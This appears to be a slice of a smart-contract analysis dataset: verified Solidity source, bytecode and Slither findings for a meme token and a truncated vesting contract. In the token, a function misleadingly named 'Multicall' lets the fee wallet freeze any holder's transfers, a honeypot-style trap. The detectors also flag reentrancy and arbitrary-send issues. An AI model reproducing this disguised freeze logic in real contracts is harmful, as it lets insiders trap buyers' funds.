526004018080602001828103825260108152602001807f73656e64657220213d20736f757263650000000000000000000000000000000081525060200191505060405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611a5f57600080fd5b816007541015611a6e57600080fd5b611a838260075461175390919063ffffffff16565b600781905550611adb82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175390919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000838311158290611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c00578082015181840152602081019050611be5565b50505050905090810190601f168015611c2d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fea2646970667358221220bf148ef6b28fd1fc203510200c9e8b9fdc11581134c3aefd31724e8c95e82b1f64736f6c63430007010033
{"success": true, "error": null, "results": {}}
10,016
0x3e8a44af462279f4e2fd70c93f647d5ccd060080
/** *Submitted for verification at Etherscan.io on 2022-04-25 */ // SPDX-License-Identifier: MIT /** Elon Tweet : https://twitter.com/elonmusk/status/1518623997054918657?s=20&t=vSjBqSniTdl5i7UyJmpHfw Ownership renounced & LP locked Let's send it ! Max tx : 1.5% (for 5min) Max wallet : 3% Tax : 5/5 TG : https://t.me/TwitterFreeSpeechEntry */ pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TwitterFreeSpeech is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"TwitterFreeSpeech"; //// string public constant symbol = unicode"FreeSpeech"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable private _FeeAddress1; address payable private _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 5; uint public _sellFee = 5; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "ERC20: transfer from frozen wallet."); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (15 minutes)) { fee += 5; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 15000000000 * 10**9; // 1.5% _maxHeldTokens = 30000000000 * 10**9; // 3% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); require(buy <= 10); require(sell <= 10); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function Multicall(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105ad578063db92dbb6146105c2578063dcb0e0ad146105d7578063dd62ed3e146105f7578063e8078d941461063d57600080fd5b806395d89b411461052c578063a9059cbb14610562578063b2131f7d14610582578063c3c8cd801461059857600080fd5b8063715018a6116100dc578063715018a6146104b95780637a49cddb146104ce5780638da5cb5b146104ee57806394b8d8f21461050c57600080fd5b8063509016171461044e578063590f897e1461046e5780636fc3eaec1461048457806370a082311461049957600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a757806340b9a54b146103e057806345596e2e146103f657806349bd5a5e1461041657600080fd5b806327f3a72a14610335578063313ce5671461034a57806331c2d8471461037157806332d873d81461039157600080fd5b80630b78f9c0116101c15780630b78f9c0146102c357806318160ddd146102e35780631940d020146102ff57806323b872dd1461031557600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610271578063095ea7b31461029357600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b50610264604051806040016040528060118152602001700a8eed2e8e8cae48ce4cacaa6e0cacac6d607b1b81525081565b60405161021e9190611bd6565b34801561027d57600080fd5b5061029161028c366004611c50565b610652565b005b34801561029f57600080fd5b506102b36102ae366004611c6d565b6106c7565b604051901515815260200161021e565b3480156102cf57600080fd5b506102916102de366004611c99565b6106dd565b3480156102ef57600080fd5b50683635c9adc5dea00000610214565b34801561030b57600080fd5b50610214600f5481565b34801561032157600080fd5b506102b3610330366004611cbb565b610760565b34801561034157600080fd5b50610214610848565b34801561035657600080fd5b5061035f600981565b60405160ff909116815260200161021e565b34801561037d57600080fd5b5061029161038c366004611d12565b610858565b34801561039d57600080fd5b5061021460105481565b3480156103b357600080fd5b506102b36103c2366004611c50565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103ec57600080fd5b50610214600b5481565b34801561040257600080fd5b50610291610411366004611dd7565b6108e4565b34801561042257600080fd5b50600a54610436906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045a57600080fd5b50610291610469366004611c50565b6109a8565b34801561047a57600080fd5b50610214600c5481565b34801561049057600080fd5b50610291610a16565b3480156104a557600080fd5b506102146104b4366004611c50565b610a43565b3480156104c557600080fd5b50610291610a5e565b3480156104da57600080fd5b506102916104e9366004611d12565b610ad2565b3480156104fa57600080fd5b506000546001600160a01b0316610436565b34801561051857600080fd5b506011546102b39062010000900460ff1681565b34801561053857600080fd5b506102646040518060400160405280600a81526020016908ce4cacaa6e0cacac6d60b31b81525081565b34801561056e57600080fd5b506102b361057d366004611c6d565b610be1565b34801561058e57600080fd5b50610214600d5481565b3480156105a457600080fd5b50610291610bee565b3480156105b957600080fd5b50610291610c24565b3480156105ce57600080fd5b50610214610cc7565b3480156105e357600080fd5b506102916105f2366004611dfe565b610cdf565b34801561060357600080fd5b50610214610612366004611e1b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064957600080fd5b50610291610d5c565b6008546001600160a01b0316336001600160a01b03161461067257600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106d43384846110a3565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106fd57600080fd5b600a82111561070b57600080fd5b600a81111561071957600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078e57506001600160a01b03831660009081526004602052604090205460ff16155b80156107a75750600a546001600160a01b038581169116145b156107f6576001600160a01b03831632146107f65760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6108018484846111c7565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610830908490611e6a565b905061083d8533836110a3565b506001949350505050565b600061085330610a43565b905090565b6008546001600160a01b0316336001600160a01b03161461087857600080fd5b60005b81518110156108e05760006006600084848151811061089c5761089c611e81565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108d881611e97565b91505061087b565b5050565b6000546001600160a01b0316331461090e5760405162461bcd60e51b81526004016107ed90611eb0565b6008546001600160a01b0316336001600160a01b03161461092e57600080fd5b600081116109735760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107ed565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106bc565b6009546001600160a01b0316336001600160a01b0316146109c857600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106bc565b6008546001600160a01b0316336001600160a01b031614610a3657600080fd5b47610a4081611835565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a885760405162461bcd60e51b81526004016107ed90611eb0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610af257600080fd5b60005b81518110156108e057600a5482516001600160a01b0390911690839083908110610b2157610b21611e81565b60200260200101516001600160a01b031614158015610b72575060075482516001600160a01b0390911690839083908110610b5e57610b5e611e81565b60200260200101516001600160a01b031614155b15610bcf57600160066000848481518110610b8f57610b8f611e81565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bd981611e97565b915050610af5565b60006106d43384846111c7565b6008546001600160a01b0316336001600160a01b031614610c0e57600080fd5b6000610c1930610a43565b9050610a40816118ba565b6000546001600160a01b03163314610c4e5760405162461bcd60e51b81526004016107ed90611eb0565b60115460ff1615610c9b5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107ed565b6011805460ff191660011790554260105567d02ab486cedc0000600e556801a055690d9db80000600f55565b600a54600090610853906001600160a01b0316610a43565b6000546001600160a01b03163314610d095760405162461bcd60e51b81526004016107ed90611eb0565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106bc565b6000546001600160a01b03163314610d865760405162461bcd60e51b81526004016107ed90611eb0565b60115460ff1615610dd35760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107ed565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e103082683635c9adc5dea000006110a3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e729190611ee5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ebf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee39190611ee5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f549190611ee5565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f8481610a43565b600080610f996000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611001573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110269190611f02565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561107f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e09190611f30565b6001600160a01b0383166111055760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ed565b6001600160a01b0382166111665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ed565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661122b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ed565b6001600160a01b03821661128d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ed565b600081116112ef5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ed565b6001600160a01b03831660009081526006602052604090205460ff16156113645760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107ed565b600080546001600160a01b0385811691161480159061139157506000546001600160a01b03848116911614155b156117d657600a546001600160a01b0385811691161480156113c157506007546001600160a01b03848116911614155b80156113e657506001600160a01b03831660009081526004602052604090205460ff16155b156116725760115460ff1661143d5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107ed565b601054420361147c5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107ed565b42601054610e1061148d9190611f4d565b111561150757600f5461149f84610a43565b6114a99084611f4d565b11156115075760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107ed565b6001600160a01b03831660009081526005602052604090206001015460ff1661156f576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42601054607861157f9190611f4d565b111561165357600e548211156115d75760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107ed565b6115e242600f611f4d565b6001600160a01b038416600090815260056020526040902054106116535760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107ed565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff1615801561168c575060115460ff165b80156116a65750600a546001600160a01b03858116911614155b156117d6576116b642600f611f4d565b6001600160a01b038516600090815260056020526040902054106117285760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107ed565b600061173330610a43565b905080156117bf5760115462010000900460ff16156117b657600d54600a5460649190611768906001600160a01b0316610a43565b6117729190611f65565b61177c9190611f84565b8111156117b657600d54600a546064919061179f906001600160a01b0316610a43565b6117a99190611f65565b6117b39190611f84565b90505b6117bf816118ba565b4780156117cf576117cf47611835565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061181857506001600160a01b03841660009081526004602052604090205460ff165b15611821575060005b61182e8585858486611a2e565b5050505050565b6008546001600160a01b03166108fc61184f600284611f84565b6040518115909202916000818181858888f19350505050158015611877573d6000803e3d6000fd5b506009546001600160a01b03166108fc611892600284611f84565b6040518115909202916000818181858888f193505050501580156108e0573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118fe576118fe611e81565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611957573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061197b9190611ee5565b8160018151811061198e5761198e611e81565b6001600160a01b0392831660209182029290920101526007546119b491309116846110a3565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119ed908590600090869030904290600401611fa6565b600060405180830381600087803b158015611a0757600080fd5b505af1158015611a1b573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a3a8383611a50565b9050611a4886868684611a97565b505050505050565b6000808315611a90578215611a685750600b54611a90565b50600c54601054611a7b90610384611f4d565b421015611a9057611a8d600582611f4d565b90505b9392505050565b600080611aa48484611b74565b6001600160a01b0388166000908152600260205260409020549193509150611acd908590611e6a565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611afd908390611f4d565b6001600160a01b038616600090815260026020526040902055611b1f81611ba8565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b6491815260200190565b60405180910390a3505050505050565b600080806064611b848587611f65565b611b8e9190611f84565b90506000611b9c8287611e6a565b96919550909350505050565b30600090815260026020526040902054611bc3908290611f4d565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c0357858101830151858201604001528201611be7565b81811115611c15576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a4057600080fd5b8035611c4b81611c2b565b919050565b600060208284031215611c6257600080fd5b8135611a9081611c2b565b60008060408385031215611c8057600080fd5b8235611c8b81611c2b565b946020939093013593505050565b60008060408385031215611cac57600080fd5b50508035926020909101359150565b600080600060608486031215611cd057600080fd5b8335611cdb81611c2b565b92506020840135611ceb81611c2b565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d2557600080fd5b823567ffffffffffffffff80821115611d3d57600080fd5b818501915085601f830112611d5157600080fd5b813581811115611d6357611d63611cfc565b8060051b604051601f19603f83011681018181108582111715611d8857611d88611cfc565b604052918252848201925083810185019188831115611da657600080fd5b938501935b82851015611dcb57611dbc85611c40565b84529385019392850192611dab565b98975050505050505050565b600060208284031215611de957600080fd5b5035919050565b8015158114610a4057600080fd5b600060208284031215611e1057600080fd5b8135611a9081611df0565b60008060408385031215611e2e57600080fd5b8235611e3981611c2b565b91506020830135611e4981611c2b565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e7c57611e7c611e54565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ea957611ea9611e54565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ef757600080fd5b8151611a9081611c2b565b600080600060608486031215611f1757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f4257600080fd5b8151611a9081611df0565b60008219821115611f6057611f60611e54565b500190565b6000816000190483118215151615611f7f57611f7f611e54565b500290565b600082611fa157634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ff65784516001600160a01b031683529383019391830191600101611fd1565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202698d8c1f18a7dc77f98cda237f116c1106cd0f348a30d8fbda31797550b450b64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,017
0x64d2db533a3a65ed6db297c382a79a322d466aea
pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } // File: zeppelin-solidity/contracts/token/ERC20/TokenVesting.sol /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); // beneficiary of tokens after they are released address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * _beneficiary, gradually in a linear fashion until _start + _duration. By then all * of the balance will have vested. * @param _beneficiary address of the beneficiary to whom vested tokens are transferred * @param _cliff duration in seconds of the cliff in which tokens will begin to vest * @param _duration duration in seconds of the period in which the tokens will vest * @param _revocable whether the vesting is revocable or not */ function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = 